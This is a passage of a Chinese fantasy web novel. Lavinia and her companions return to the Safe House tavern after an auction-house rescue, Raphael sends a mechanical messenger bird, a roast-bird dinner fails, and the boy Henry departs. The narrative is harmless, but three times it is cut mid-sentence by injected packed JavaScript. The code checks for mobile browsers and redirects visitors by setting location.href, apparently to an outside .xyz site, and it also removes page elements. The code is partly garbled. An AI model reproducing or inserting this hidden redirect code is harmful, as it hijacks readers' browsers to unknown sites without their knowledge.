累坏了的两匹马在附近的小型湖泊边喝水休憩，米拉在一块半人高的大石块后面搭了个简易的帐篷，给哭累了还有点头晕的艾希莉休息。 “谢谢你们。”拉斐尔了靠在石块的另一面，揉了揉太阳穴和发青的眼框，“真不知道为什么事情会变成这样。我会先带艾希莉回阿尔伯恩，关于报酬，我身上还有一百金镑，可以作为押金，剩下的回去之后我会补上。” “你打算怎么回去？”拉维妮娅问，“咱们现在都得罪了拍卖行，估计短时间内没法回格雷菲尔了。” “我会先写封信给家里问问情况。”拉斐尔叹了口气，“艾希莉本来今年就要进入社交圈的，发生了这种事，肯定得谨慎一些，我得想办法先通知姨妈。” 他们沉默着，望向不远处的湖泊，湖面平静得几乎没有一丝波纹，完整地倒映出月亮银色的半圆。 “先留着你的钱当住宿费吧。”拉维妮娅说，“我们那没有可以住宿的地方，你得去住酒馆旁边那个贵得要死的旅馆。” 拉斐尔把视线从湖面上收回来，惊讶地看着她。 “如果你想从其他路线回阿尔伯恩，我们也可以帮你看看委托。”拉维妮娅没给他说话的机会，“你累了，先休息吧。” 她慢慢走到湖边上，杰拉尔德半躺在一块空地上，看着马。 她走到他身边坐下。 “怎么了？”杰拉尔德看了她一眼，她从那双眼睛里看到了另一片平静的湖泊。 “我没太听清。”杰拉尔德继续说，“不过貌似你把快到手的金镑退回去了。怎么，准备做一个慈善家了？” “他早晚会把钱给我的。”多亏了他的话，拉维妮娅迅速从关于湖水的联想里回过神来，“我就是……” 她沉默了一会，盯着湖面上的月亮，缓缓地说：“我就是突然发现，和他们比起来，在刚离开阿尔伯恩的时候就遇上好心人，确实是一件幸运的事。” “……哦，是这样。”杰拉尔德轻声说，他听起来快要睡着了，“我就把这当成赞美了。” “好吧，是的，你就敞开胸怀接受赞美吧——你知道这种事情自己说出来就没意思了吧？”拉维妮娅撇撇嘴，重新看向他，发现那双眼睛毫无睡意，正一眨不眨地望向她的方向。 “……呃，总之，我的意思是，我其实挺能理解他们的，毕竟要是当时运气不好，说不定我也会落到那种地步……再说了，我也没有损失，帮帮他们也没什么。” 杰拉尔德沉默地看了她一会，在她开始感到不自在之前，终于开口。 “我能理解你的意思。”他说，“出于礼貌我也应该给你一点消化情绪的空间。但是，介于明天我们就要到石碑镇了，你最好想一想……损失的问题。” “……用不着你提醒我。”拉维妮娅深吸一口气，梗着脖子说。 “你就说非要这样说话吗？” “我平常就这么说话，小姐。”杰拉尔德坐起身来，“还是说你需要一些安慰？” “……用不着。” “那么，要来玩个游戏吗？” “什么？” “交换游戏。以眼还眼，以牙还牙，真话换真话，假话换假话。” “……你今天还挺闲的。” “这个嘛，反正我也刚亏了一大笔钱，需要一点东西转移一下注意力。” “呃——我们真的要停止谈论损失了。好吧，那么我有个问题。”拉维妮娅说，“要怎么区分真话和假话？” “没什么方法区分。这才是有意思的地方，不是吗？” 拉维妮娅笑了一声。 “原来如此，所以这是个游戏。好吧，我想想……嗯，我今年二十岁。” “这样啊……”杰拉尔德眯起眼睛看她，“嗯……我今年二十三，有个比你大一岁的妹妹。” “……我没有兄弟姐妹。”拉维妮娅接着说，“只有一个勉强称得上亲戚的表叔。” 她停了一下，歪头思考了一会。 “我曾经在迪亚斯派克教皇公国学习过剑术。” 杰拉尔德的眼睛睁大了，他蓝色的眼珠转了一下，下意识地瞥了一眼腰间的剑。 “我会做奶油布丁和曲奇饼干。”他最后说，意味不明地笑了一下。 “……拉车的马跑远了。” “嗯？” “是真的！”拉维妮娅一下子站起来，狠命拽了一下杰拉尔德的袖子，“它们往那边……” 她的声音忽然低下来：“那些是四足鸟吗？” 湖泊的对岸，他们拉车的马站在浅滩上，惬意低晃着尾巴。在离它们稍远的地方，一小片柔和的阴影里，有许多微弱的光点在明明灭灭。 那是一群带着羽毛的生物，有粗壮的后肢和带着鸟爪的翅膀。 “……我觉得是的。”杰拉尔德也站起来，“是真话。” 他们对视了一眼。 “……你想赚笔外快吗？” “你们是在告诉我。”第二天晚上的安全屋酒馆，阿诺德眼神空洞地挠着他已经只剩下短短胡茬的下巴，“你们不仅没有把要买的东西买回来，还炸了拍卖行的仓库，当着所有人的面把拍卖行的货物抢走了？” “……差不多就是这个意思。”拉维妮娅和米拉并排坐在吧台前，目光闪躲地落在桌面上。空荡荡的酒馆门窗紧闭，角落里局促地缩着拉斐尔兄妹。 “对……对不起，先生。”拉斐尔站起来说，“给您添麻烦了……我们很快就会赔钱的！” 阿诺德发出一声长长的叹息，把脸埋进了手掌里。 “阿诺德？你还好吗？” “米拉……”阿诺德维持着捂脸的姿势，闷闷地说，“事情都到底是怎么变成这样的？” “这个，事发突然。”米拉抓了抓后脑的短发，“我们也没想到刚好碰上拍卖行做这种交易，而且那位小姐是委托人的表妹……” “啊——该死的拍卖行！” “而且我也没料到杰里会直接炸了仓库。” “嘿！”杰拉尔德远远地坐在吧台一端，看起来也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879059|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是很想面对阿诺德绝望的眼神，“我也是为了让你们脱身，你们当时都被守卫包围了。” “……你可以找个不那么激进的办法。”米拉抱着胳膊说，浅色的眼睛心虚地闪了几下。 “你们决定直接把那小姑娘抢出来的时候就已经得罪拍卖行了，我炸不炸仓库又有什么两样？” “够啦！”阿诺德抬起头来，“我们现在该怎么办？” 他走出吧台，在酒馆桌椅的空隙间绕来绕去，挥动着两只胳膊做出谁也看不懂的手势。 “对不起阿诺德……”拉维妮娅小声说，“我本来是想多赚点钱的……” “我们几乎所有的进货商都在格雷菲尔！”阿诺德喊道，“现在连格雷菲尔的大门都进不去了，我们要去哪里进货？我们要去哪里找新的进货商？嗯？嗯？” “冷静点，阿诺德。”米拉试图按住他的胳膊。 “冷静？我要怎么冷静？我们这回搞不好真的要破产了！” “我们不是还有点钱吗？”拉维妮娅抓住他的另一边胳膊，“拉斐尔先生也会给钱的，我们还有成本去找新的进货商，这边应该不止格雷菲尔一个大型城镇吧？” “……但格雷菲尔是最近的，也是物价最便宜的一个。”阿诺德瘫坐在酒馆中央的一把椅子上，“要找新的进货商，我们的进货成本也得翻倍。” “我……我也可以接点委托！”拉维妮娅眼睛胡乱地转了转，语气犹豫地说，“反正我们之前也不靠卖酒赚钱，对吧？” “是啊，阿诺德。”杰拉尔德斟酌着说，“我最近也接不了去格雷菲尔的商队委托了，去北边的时候可以为你们多关注一下进货商的事。” “而且我们回来的时候刚碰上一群四足鸟，导体矿分我一半，鸟肉可以全归你，怎么样？” “谢谢你，杰里。”阿诺德语气虚浮地说，“虽然知道这是因为你炸了拍卖行的仓库，但还是谢谢你。” “……我突然就有点不想给你了。” “我明天就可以给家里写信！”拉斐尔说，“多亏了你们帮我找回行李，箱子里的寻亲鸟还能用，我可以先让家里寄点钱来……别，别这么难过，您不会破产的先生！” “……谢谢你，年轻人。”阿诺德叹了口气，起身给了拉维妮娅和米拉一个结实的拥抱。 “也谢谢你们，米拉，拉维。我知道你们没做错什么，怎么说也是那些绑架少女拍卖的人渣有问题。没关系，我们会一起解决这件事的。” “你终于冷静啦？”拉维妮娅拍拍他的后背，“没关系，我们知道你是个好人，老阿诺德。” “请问……这位先生一直这样吗？”拉斐尔看着突然开始抱着转圈的三人，犹豫再三，挪到杰拉尔德身边，小声问道。 “他情感比较丰富而已。”杰拉尔德耸耸肩，“别担心，他确实是个超级——老好人。” 他接着转过身去，一副不怎么想和拉斐尔说话的样子，仰头冲阿诺德叫道：“嘿，我能要杯啤酒吗？” “当然，你会付钱的对吧？” 这也只是安全屋平常的一天。 13. 第 13 章 亨利像往常一样起了个大早，穿过石碑镇不算宽阔的主街道，去开安全屋酒馆的大门。 这个活通常不是他干，酒馆里有老板和米拉小姐管着，总会有人早起，开门营业——最近貌似来了个新老板，大概是老板的亲戚什么的，他不太关心，总之他老实打工就好。 总而言之，最近米拉小姐带着新老板去进货了，店里只剩下老板和他，他不得不肩负起开门的重任，以及另一些本不用他干的活，包括但不限于端盘子和煎蛋。 入秋后的早晨变得很凉，亨利能看见路边稀疏的草叶上挂着白霜。他望向灰蓝色的天空，张嘴呼出一口气，看着浅淡的白色雾气消失在天空里。 真希望米拉小姐和拉维妮娅小姐早点回来。他搓了搓自己的胳膊，有一搭没一搭地想，今天好像穿得有点少了，不过没关系，一会干起活来就暖和了……诶，老板的亲戚继承老板的酒馆，再正常不过，什么事都轮不上他们这些帮工……不过话说回来，他也不过是临时干点活补贴家用罢了，等到父亲找到导体矿的矿脉，他们就能摆脱这个鬼地方，到城里定居了……到时候他会穿得像个贵族少爷，每天三顿都吃烧鸡…… 他沉浸在对于未来美好的幻想里，等回过神来，发现自己已经踏进了酒馆的大厅。 “早上好，亨利。”一个带着笑意的声音和他打招呼。 “拉维妮娅小姐！”亨利叫起来，带着难以掩盖的惊喜，“你们回来了！” “嗯哼，我们提前回来了。”拉维妮娅说，“你应该很高兴吧。” “当然！呃，我是说……见到你们很高兴，不是说……” “行啦，我知道你是什么意思。”拉维妮娅慢悠悠地说，“米拉在后面等你呢。” “亨利，是你来了吗？”米拉在后厨叫起来，“快来帮我劈柴。” “我马上来！”亨利喊道。 “等等，小先生。” 一个声音叫出了他。亨利回过头，看见一位面容温和的年轻男人坐在吧台前，面前放着一封封好的信，和一只机械鸟。 “方便的话，能帮我拿一小块煤炭来吗？木柴也行。” “呃，当然，不过我们这里只有木柴。”亨利的眼睛一眨不眨地望着那只机械鸟，“先生，这是……我能问问这是什么吗？” “这个？”年轻男人的灰眼睛眨了眨，“哦，这是寻亲鸟，导体矿工艺，远东海域传来的新魔法符文技术。” 年轻男人——拉斐尔的语气突然变得热切起来：“它的动力原理和一般蒸汽机相同，但构造精巧，只要一小块可燃物就能支撑它飞行上千公里；最重要的是，它能准确地找到佩戴着对应符文的人，无论佩戴者在哪。这是难得的定位法阵魔法，和市面上大多数应用强化法阵魔法的产品不同……” “呃，好的，我知道了，先生……那个，米拉小姐在叫我了，我……”亨利退后了几步，显然有点被吓到了，一个男孩可听不懂这些长篇大论。 “我就是没见过这种机械，所以想问问……” “哦，最近阿尔伯恩挺流行这个的。”拉斐尔如梦初醒般地说，“普通的机械鸟满大街都是，算是青少年流行的玩具。但和那些普通机械不同，这只……” “我，我这就帮您拿木柴来！” 看着跑进后厨的亨利，拉斐尔还有些没反应过来，拉维妮娅几乎要笑趴在吧台上。 “哦，拉斐尔，和一个没上过几天学的男孩说法阵魔法和导体魔法的应用，真有你的。” “他都问了！”拉斐尔抗议到，“万一他感兴趣呢！” “他也说了，他只是没见过机械鸟。”拉维妮娅点了点机械鸟明黄色的尖嘴，“就像大多数人都想坐一次飞艇，但在坐飞艇的时候他们是不会关心飞艇是怎么飞起来的，起码不会关心得那么精细——话说回来，你的信写好了？” “算是。”拉斐尔按了按面前的信封，“我会先寄信我哥，这只寻亲鸟是我和他的，比较方便——而且他比较知道怎么应付父亲……我实在不敢直接给父亲写信。” “听起来荷莫伍德伯爵是个可怕的人。” “也不是说可怕……好吧，对我来说是挺可怕的，但他确实是个合格的家族掌权者……对大多数人而言。” “也就是说你不认可咯？” “我觉得他不应该那么……等等，你是怎么知道的？” “什么？”拉维妮娅困惑地眯起眼睛，“我以为你说出自己的全名的时候就做好准备了呢？” “什么？” “荷莫伍德，这里难道有很多荷莫伍德吗？” “啊……” “原来你是想隐藏身份的。”拉维妮娅恍然大悟地说，“那下次自我介绍的时候记得编个名字。” “你们难道都是编的名字吗！” “那倒不完全是。”拉维妮娅的琥珀色眼睛闪烁了一下，“就是……” “嘿，那个灰眼睛的小子！” 对面旅馆二楼的窗户突然打开，旅馆老板，一个美丽的中年女人，以极不符合她温柔脸蛋的嗓门大吼道：“你的小妹妹醒来没看见你，开始发疯了！” “什么？艾希莉——” “她已经下楼去了！” 旅馆老板的头还没从窗口收回去，一团金黄色的头发就出现在旅馆的门前。艾希莉大叫着环顾四周，终于透过酒馆灰蒙蒙的窗户锁定了目标，一阵风似的冲进酒馆来。 “拉菲尔！拉斐尔！拉斐尔！” 她猛地扑到吧台边，死死抱住拉斐尔的一只胳膊。 “你在这！”她语速飞快地说，“我刚刚醒来看不见你，去隔壁的房间也找不到你，老板说你出门去了，她嗓门好大我好害怕我又是一个人……” “好啦，好啦。”拉斐尔轻柔地拍着她的后背，“别担心，你现在安全啦，你看，周围都是我们的朋友呢。” 艾希莉大口地抽着气，脸色发白。 “她有点过度呼吸了。”拉维妮娅皱着眉头说，“拿张手帕之类的辅助一下呼吸。” “不，不，不要——” 艾希莉突然惊叫起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879060|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，几乎瘫倒在地上。拉维妮娅“啧”了一声，飞快地绕过吧台，一只手扶住她的后背，另一只手捂住她的嘴。 少女剧烈起伏的胸脯逐渐平缓下来，她缓缓眨了眨眼，卷曲的睫毛擦过垂在脸上的发丝。 “……谢谢你，我没事了。”她含混地说。 “没事就好。”拉维妮娅收回手，“你被吓坏了，好好休息一会吧。” 艾希莉点点头，撑着吧台爬上椅子，闪着水光的蓝眼睛牢牢地追逐着回到吧台后面的拉维妮娅。 “你……” “先生？”亨利从后厨探出头来，手里拿着一只小火钳“您要的木柴。” “谢谢。”拉斐尔小心地接过燃烧的木柴，把它放进机械鸟胸口的炉膛里。机械鸟的胸口和背部依次亮起一片符文，几秒钟后，机械鸟的眼睛里闪出红色的光。 拉斐尔把信绑在它腿上，用手掌托着它的脚，微微上抬。 那只金属与木头构成的鸟儿像活了一样，微微转动了一下嵌着红眼睛的头颅，从拉斐尔的手掌上跳起来，轻盈地飞出了酒馆的大门，眨眼间消失在天空中。 “哇。”亨利忍不住追出去几步，望着机械鸟远去的方向感叹道，“这可太酷了。” “现在普通机械鸟的价格并不贵。”拉斐尔说，“只要五十银镑。而且你要是有兴趣了解法阵的原理，还可以自己改装……” 亨利的表情变得一言难尽：“呃，抱歉先生，米拉小姐在叫我了……” “嗯？我怎么没有听……” “亨利。”拉维妮娅叫道，“帮忙给这位小姐拿杯热水来好吗？谢谢你。” “当然！我马上来。” 亨利再次消失在后厨。拉斐尔这次若有所思地盯着后厨的门看了一会，犹豫着问拉维妮娅：“他是不是……” “他不感兴趣。”拉维妮娅叹了口气说，“而且五十银镑也不是小钱，这儿一杯啤酒才不到一银镑呢。” “哦。”拉斐尔看上去有些脸红，“我，抱歉……” “不，没什么。”拉维妮娅说，“我刚来的时候也差不多。” “是吗？那真是太……等等。”拉斐尔眯起眼睛，“你是说你也……” “你认出我了，是吗。”拉维妮娅看向艾希莉，眼睛里没什么情绪，像两块剔透的琥珀。 “我……我在拍卖场就知道是你了。”艾希莉用指甲抠着吧台上的木纹，“一开始我有点不敢确定，但你救了我，我那时就确定了。” 她抬起头，那双颜色浓郁的蓝眼睛亮晶晶地看着拉维妮娅：“你是拉维妮娅.赫斯提亚，对吧？你是那个像冒险家一样撞碎玻璃逃跑的赫斯提亚小姐。” “那是什么？”拉斐尔张了张嘴，又很快把嘴闭上了，“你是赫斯提亚家族的女儿？那个传闻里的''疯小姐''？” “哦天呐，拉斐尔。”艾希莉感叹道，“你真的从来不看新闻，对吧？这都是半年前的事了，赫斯提亚小姐为了逃离不想要的婚姻，勇敢地冒着生命危险逃跑了，我们都希望她还活着——” 14. 第 14 章 “等等，艾希莉……虽然我确实不怎么看新闻。”拉斐尔伸出一只手，止住艾希莉的话头，“但是这事当时闹得挺大的……我听到的版本是，赫斯提亚家的继承人在婚礼上突然发疯，跳进海里了——不对，你原来姓赫斯提亚吗？” “随你们怎么说吧。”拉维妮娅干巴巴地说，“我不在乎。又是''疯小姐''，又是''冒险家''，这群人的想象力还真丰富。” “不是的拉维！”艾希莉握住她的手，“听我说，我非常崇拜你！” “嗯？”拉维妮娅的脸上出现了一瞬间的空白，“谢……谢谢？” “哦，拉维，你不知道我看到新闻的时候有多感动。”艾希莉的手越攥越紧，“撞碎教堂的彩窗，冲破世俗的束缚，这简直太浪漫了，太激动人心了……如果不是看到你，我可能没发下定决心，但那天我终于发现了，我这辈子都在期盼着一场伟大的冒险，一次完全自由的旅行……” “你是因为这个才来的无人区？”拉斐尔失声叫道，“你差点被卖掉了！” “但是拉维小姐救了我！”艾希莉反驳道，蓝眼睛里闪烁着梦幻般的光芒，“哦，拉维小姐，你就和我想象中一样，勇敢，自由，富有骑士精神……” “……艾希莉！你到底有没有在听我说话！” “好啦，我在听，亲爱的表哥。”艾希莉腾出一只手来，拍了拍拉斐尔的肩膀——感到手上压力减退的拉维妮娅终于松了口气。 “如果你有听过。”拉斐尔揉着眉心说，“那你现在就该好好待在女校，而不是跑到这种地方来冒险。” “但是学校实在是太无聊了。”艾希莉接着抱怨道，“每天一睁眼就是淑女、淑女、淑女，好像我所学的一切就是为了社交场上的那一刻——而且她们居然真的让人顶着书本走路，你敢相信吗？” “艾希莉，你又做错了……艾希莉，你今天不准出房间……艾希莉，你这个不虔诚的野丫头……”金发少女做了个大大的鬼脸，“我说，去他们的。” “……好吧，也许寄宿学校确实是个烂地方……但那里至少很安全。” “真的吗？”艾希莉抱着胳膊说，“你难道在寄宿学校度过了健康安全的学生生涯？我怎么记得你去了一年就哭着喊着申请大学了。” “我……”拉斐尔痛苦地抹了把脸，“拉维妮娅，你倒是也说点什么啊！” “我可没什么指责她的立场。”拉维妮娅不动声色地把发麻的手从艾希莉的手里抽出来，“你也看到了，我就是那个突然发疯，逃到无人区来的反面教材。” “但是现在……”她探身越过吧台，一左一右揽住了这对表兄妹的肩膀，“你俩最好就此停止这个话题，有客人来了——现在记住，这里没有拉维妮娅.赫斯提亚，只有拉维妮娅.亨特，明白了吗？” “好……” “欢迎来到安全屋。”拉维妮娅扬声说，“本店禁止斗殴。” 在给客人拿酒的间隙，她犹豫了一下，绕回吧台前，对那对安静地像石像一般的表兄妹说：“我晚点要帮米拉处理一下那些四足鸟肉……你们要来看看吗？” 一个显而易见的事实是，拉维妮娅.赫斯提亚小姐没有什么烹饪经验。 即使赫斯提亚家族在贵族中算不上富裕，她在成长过程中也没机会接触食物的原始状态。那些肉排在上桌时就是标准的块状了，一般还冒着热气、装饰着蔬菜和酱汁。她不知道这些是怎么从生肉变成菜肴的，就像尝不出米拉牌三明治的具体构成。单单是知道肉排来自于牧场活生生的家畜，拉维妮娅小姐就已经算是很有常识了。 而对于在烹饪上缺乏常识这点，拉斐尔和艾希莉简直有过之而无不及。 “这些……呃，带粘液的球状物是什么？”拉斐尔看着被切开的四足鸟，颇有求知精神地问。 “鸟蛋，很明显。”米拉把手伸进那团“球状物”里搅了一下，拿出一个青灰色的椭圆球体，“你看，这里还有个成型的，蛋壳都在。” “这、这、这是……” “不会吧，大少爷？”米拉动作麻利地剖开一只又一只四足鸟，把未成形的鸟蛋倒进一只碗里，又在鸟肉上抹上一层盐，“你难道觉得鸡蛋是从地里种出来的吗？” “不，我就是……”拉斐尔艰难地说，“没想到内部构造是这样的。” “抹这么多盐不会太咸了吗？”拉维妮娅端着盐罐问。 “这么多鸟肉，不腌起来做成肉干是会烂掉的。”米拉又抓了一把盐，“大不了炖汤的时候不放盐好了。” “不过我会留一只新鲜的。”她看了一眼拉维妮娅，脸上难得地闪过一丝活泼，“晚上来吃烤鸟肉怎么样？” “就像烤鸡一样？太好了！”艾希莉金色的卷发快乐地抖动起来，“我也来帮忙，有什么可以做的吗？” “你来拿着盐罐吧。”米拉说，“拉维，你能来切些蔬菜吗？” “呃，米拉小姐？”拉斐尔突然意识到只有自己孤零零地杵在一边了，“请问有什么我能做的……” “我有一个最重要的任务交给你。”米拉笑眯眯地说，“把剩下的四足鸟都处理了怎么样？你已经仔细研究过它们的构造了，我相信你可以的。” 拉斐尔声称他已经尽了最大的努力，但他根本握不住菜刀。在艾希莉的大声嘲笑中，他最终被打发去烧柴，毕竟这个工作和他熟悉的导体工艺和蒸汽机比较接近。 杰拉尔德在傍晚的时候回到了安全屋酒馆，正赶上那只烤鸡出炉。 “晚上好，洛佩兹先生！”拉斐尔端着一只巨大的盘子的一端——实际上是米拉端着那只盘子从后厨挪出来，前者被柴火熏得灰黑的脸让杰拉尔德的脚步不由得顿了一下。 “晚上好。”他礼貌地点一点头，在吧台前坐下，“我要一杯啤酒，老亨特。” “晚上好，杰里。”阿诺德随手放了只杯子在他面前，“米拉带着那几个孩子忙了一下午才做出那只烤四足鸟，你要试试吗？” “我……” 杰拉尔德还没说出什么，一块烤肉已经被端到他面前。 “尝尝看？”拉维妮娅靠在吧台旁，撑着头看他。酒馆中央的圆桌旁，米拉对着酒馆里零散的几个顾客宣布：“试吃新菜，今天的烤四足鸟肉免费。” 毕竟这里是石碑镇，原本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879061|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低头喝酒的客人很快站起来，向放着烤四足鸟的圆桌边聚集，举杯赞美慷慨美丽的米拉小姐——美丽不美丽的不重要，重要的是烤肉免费。 “你出去一天了。”阿诺德像拉维妮娅一样靠在吧台上，用手撑着头，“有什么新闻吗？” “最近确实有几个去北方城镇的委托。”杰拉尔德喝了口啤酒，“但去格雷菲尔的委托实在太多了，而且在最近这段时间，报酬非常丰厚。” “那听起来不算非常好的消息。” “是啊。”杰拉尔德叹了口气，用叉子拨弄起一块烤肉，“所以本森吧我踢出局了，我们就此散伙，他找了个新搭档跑格雷菲尔的大单子……” “……我估计我得多花点时间找新委……呃，这是什——” “怎么了？”刚刚接受了赞美的米拉端着另一份烤肉走回吧台旁，“有什么问题吗？” “没什么。”杰拉尔德几乎是条件反射地说，“口感很……独特。” “是吗，你喜欢就好。”米拉切了一块烤肉送进嘴里，“嗯，味道不错。” “我尝尝？”拉维妮娅凑过来，和阿诺德一人切了一小块。他们毫无防备的脸上在下一秒出现了一瞬间的扭曲。 “……你们的表情好像有点奇怪。” “不！”拉维妮娅含混地说，“就是……口味比较有……层次感。” “米拉。”阿诺德放下叉子，诚恳地说，“这肉有点太干……” “米拉小姐！”亨利捧着两杯啤酒叫道，“那边的客人要更多的啤酒！” “我就来！”米拉回过头看着吧台边的几人，“你们先坐着吧，好好品尝一下烤肉。” “当然……当然。” 他们心照不宣地目送米拉走远，看着面前的烤肉陷入了沉默。 “……你们有闻到什么味道吗？”拉维妮娅突然抽动着鼻子问。 “什么？” “等等……”阿诺德深吸了口气，“好像确实有点迷迭香的味道。” “我很确定烤四足鸟里没加迷迭香。” “应该是从隔壁旅馆飘过来的。”杰拉尔德指向旅馆半开着的侧窗，“要去看看吗？” “算了吧，那家旅馆简直就是抢钱。” “是啊，还是算了。” “……” “……我去外面透口气。” “我陪你一起去。” “晚上好。”半分钟后的旅馆里，旅馆老板的大嗓门快乐地响了起来，“哦，是你啊，老亨特。我刚试了试新菜谱，迷迭香烤羊排。你们要来尝尝吗？试吃不要钱。” “非常感谢您！”不久前还在圆桌旁分烤四足鸟的艾希莉气喘吁吁地出现在旅馆门口，身后跟着她的表哥，“我们也想试吃……可以吗？” 他们满怀愧疚地吃下盘子里红褐色的烤羊排，并且充满罪恶感地承认……那味道非常不错。 但这份快乐没有持续多久。 “呃……阿诺德先生？拉维妮娅小姐？”亨利在酒馆里隔着窗户喊道，他的身后，是米拉看穿一切的目光，“你们介意回来一下吗？这里有点事要和你们商量。” 15. 第 15 章 亨利叫他们回来要说的是正事。 他刚回了趟家，从许久未见的父亲那里得到了一个说不上多好的消息：他们准备搬家了。 亨利的父亲在日复一日的矿脉勘探中被消磨了信心，家庭入不敷出，矿脉更是连也连影子也没有，而在这个节骨眼上，亨利的母亲意外地发现，这个家庭即将迎来新的孩子。 “妈妈不可能一边带孩子，一边做家务，还一边出去打工补贴家用。”亨利搓着手上的茧子说，“所以父亲决定不再寻找导体矿了。我们准备回老家去，听说那里有不少煤矿和工厂都在招工。” “可蒸汽机投入使用之后，不是不需要那么多人力了吗？”拉斐尔问，“你知道，蒸汽机极大地……” “这我不太清楚。”亨利说，“但那有不少工作，我这个年纪的孩子现在都能在工厂里干活了。父亲说，也许连我弟弟也能找到个扫烟囱的工作。” “我们大概明天就要走了。”男孩低着头，双手用力地纠缠在一起，“所以……阿诺德先生，您看……能不能结一下我这个星期的工资？” 不等阿诺德回答，他急急地补充道：“当然！我知道这周才过了几天，您可以看着给，只要有钱就……” “亨利。”阿诺德按了按男孩的肩膀，“我会给你一周的工资的。这几年你在我这干得不错，就当是我为你饯行。” 亨利的眼睛亮了一下，又很快暗下去，他咬着嘴唇，像是陷入了一种更复杂的情绪里。 “谢谢您，阿诺德先生。”他说，“……再见，我会想念您的。” 他郑重地和每一个人告别，甚至包括只见过一面的拉斐尔和艾希莉。这不是一个热闹的夜晚，屈指可数的酒客几乎都已经离开，酒馆昏暗的灯光下摇曳着零星的影子，灰蒙蒙地延伸到凉掉的烤四足鸟上。 阿诺德看起来没怎么受到这种冷清气氛的影响，他笑呵呵地拍着亨利的后背，把男孩送到酒馆门口，嘱咐他快些回家。 “有机会再来看看我们。”他用一种温和的、长辈般的口吻说，“如果你那是已经足够成熟了，我可以免费请你喝一杯。” 亨利看着酒馆外完全黑下来的天空，那些散发着尖锐光芒的星星连接着远处夜巡队的火把，像一条闪光的、崎岖的长路。他回过头，久久地看着酒馆，在这里他度过几年的时光。他最终对它报以微笑。 “我期待着那一天。” 男孩的身影已经消失在夜色里很久，阿诺德还站在那里。 “阿诺德和米拉看起来挺伤感的。”拉维妮娅感叹到。 “你倒是看起来接受良好。”杰拉尔德接过她手里的餐盘，两人像是突然间达成了某种共识，迅速收拾着桌子上剩下的烤四足鸟。 “也许是我认识他的时间不够长。”拉维妮娅端起烤四足鸟的鸟肉碎片，“听起来蛮冷血的，是吧？” “不，不是不能理解。”杰拉尔德尽量脚步轻柔地挪向后厨，“也许你只是和他不够熟。你看，你和阿诺德或者米拉就比和他关系好一些。” “这倒是……” “亲爱的拉维。”米拉的脸突然占据了他们的视线，“杰里。能不能告诉我，你们这是在做什么呢？” “……清理一下桌面。”拉维妮娅露出一个僵硬的微笑，“烤四足鸟也快吃完了，对吧？我们就……呃，收拾一下。” 米拉叹了口气。 “你们其实可以和阿诺德一样直接说的，知道吗？”她说，“虽然我也不会改。” “真是坦荡，米拉小姐。”杰拉尔德眯起眼睛说，“就像我第一次说三明治难吃，你抽我的时候一样。” “每个人面对批评都有自己的处理方式。”米拉说，“只是我选择了发泄情绪而已。” “……真有那么难吃吗？起码比三明治好点吧？” “好点。” “好多了。” 酒馆的大厅里，拉斐尔坐在一张窗边的桌旁，沉默地望向窗外，只给酒馆里的人留下一个毛茸茸的棕色后脑勺。 “怎么了？”艾希莉在他对面坐下，双手托腮，眨巴着眼睛看着他，“你看起来好忧郁。” “那个男孩看起来很喜欢机械鸟。”拉斐尔说，“我觉得也许哪一天他会对导体工艺感兴趣的。” “也许吧。他要回老家去了，不是吗？机械鸟比起前几年已经便宜很多了，说不定哪一天他就买得起了。” “但阿尔伯恩的天上现在全是雾。”拉斐尔看着窗外的星光，轻轻说，“……其他国家估计也差不多，到处都是冒烟的工厂。” “他很难再看到鸟儿冲进云端的样子了。” 艾希莉其实不太理解表哥突入其来的淡淡忧伤，她短暂地思考了一会，决定把这当成拉斐尔偶尔的诗人情操发作。她在桌边又坐了一会，果断起身，去后厨帮助拉维妮娅处理残缺的烤四足鸟了。 拉斐尔依旧坐在那，不知道是在想什么，或是等待什么。无论这一晚他的脑子里转了些什么，接下来的日子，他坐在窗边的目的就很明显了：他在等待兄长的回信。 当然，没人在意拉斐尔还要在窗边坐多久。天气一天比一天冷，每个人都有自己的事要忙，拉斐尔要等待回信，杰拉尔德要找新的委托和搭档，拉维妮娅要考虑怎么再缩减一点酒馆的成本，艾希莉……艾希莉发现自己还挺享受每天睡懒觉、偶尔到酒馆聊聊天的生活。 “早上好。”半个月后的一天早上，拉维妮娅夜巡回来，在酒馆门口看见了几天没见的杰拉尔德。 “最近早上可真冷。”杰拉尔德说，乳白色的雾气在他说话的时候大团大团地出现，糊在他的睫毛和发梢上，“我觉得门口的霜都变厚了。” “你一大早来这等着开门？”拉维妮娅打着哈欠说，“终于赚到钱了？” “还没有。”杰拉尔德说，“我其实是来找你的。” 